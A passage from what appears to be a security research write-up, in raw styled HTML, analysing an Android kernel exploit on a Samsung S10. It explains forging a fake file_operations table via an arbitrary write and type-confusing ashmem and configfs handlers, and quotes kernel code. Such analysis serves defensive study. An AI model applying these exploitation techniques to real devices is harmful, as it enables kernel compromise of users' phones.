face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> structure. While the previously explained Mali tlstream “controlled data at a known kernel address” primitive (CVE-2023-26083) provides precisely this sort of ability, the object allocated to read out via tlstream only gives 16 bytes of attacker-controlled data - not enough controlled memory to forge a complete </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">file_operations</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> table. Instead, the exploit uses their initial arbitrary write to construct a new fake fops table within the </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">.data</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> section of the kernel. The exploit writes into the </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">init_uts_ns</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> kernel symbol, in particular the part of the associated structure that holds the </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">uname</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> of the kernel. Overwriting data in this structure provides a clear indicator of when the race conditions are won and the arbitrary write succeeds (the </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">uname</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> syscall returns different data than before). </span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">Once their fake </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">file_operations</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> table is forged, they use their arbitrary write once more to place a pointer to this table inside of the </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">ashmem_misc</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> structure. This forged </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">file_operations</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> struct varies from device to device, but on the Samsung S10 it looks like so:</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">static</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">const</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">struct</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">file_operations</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">ashmem_fops</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">.open</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">ashmem_open,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">.release</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">ashmem_release,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="background-color: yellow; color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">.read</span><span style="background-color: yellow; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="background-color: yellow; color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="background-color: yellow; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="background-color: yellow; color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">configfs_read_file</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="background-color: yellow; color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">.write</span><span style="background-color: yellow; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="background-color: yellow; color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="background-color: yellow; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="background-color: yellow; color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">configfs_write_file</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">.llseek</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">default_llseek,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">.mmap</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">ashmem_mmap,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">.unlocked_ioctl</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">ashmem_ioctl,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">#ifdef</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">CONFIG_COMPAT</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">.compat_ioctl</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">compat_ashmem_ioctl,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">#</span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">endif</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">};</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">Note that the VFS </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">read</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">/</span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">write</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> operations have been changed to point to </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">configfs</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> handlers instead. The combination of </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">configfs</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> file ops with </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">ashmem</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> file ops leads to an attacker-induced type-confusion on the </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">private_data</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> object in the </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">struct file</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">. Analysis of those handlers reveal simple-to-reach </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">copy_[to/from]_user</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> calls with the kernel pointer populated from the </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">struct file</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">’s </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">private_data</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> backing store:</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">static</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #9334e6; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">int</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">fill_write_buffer(</span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">struct</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">configfs_buffer</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">buffer,</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">const</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #9334e6; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">char</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">__user</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">buf,</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">size_t</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">count)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">...</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">if</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">(count</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">>=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: 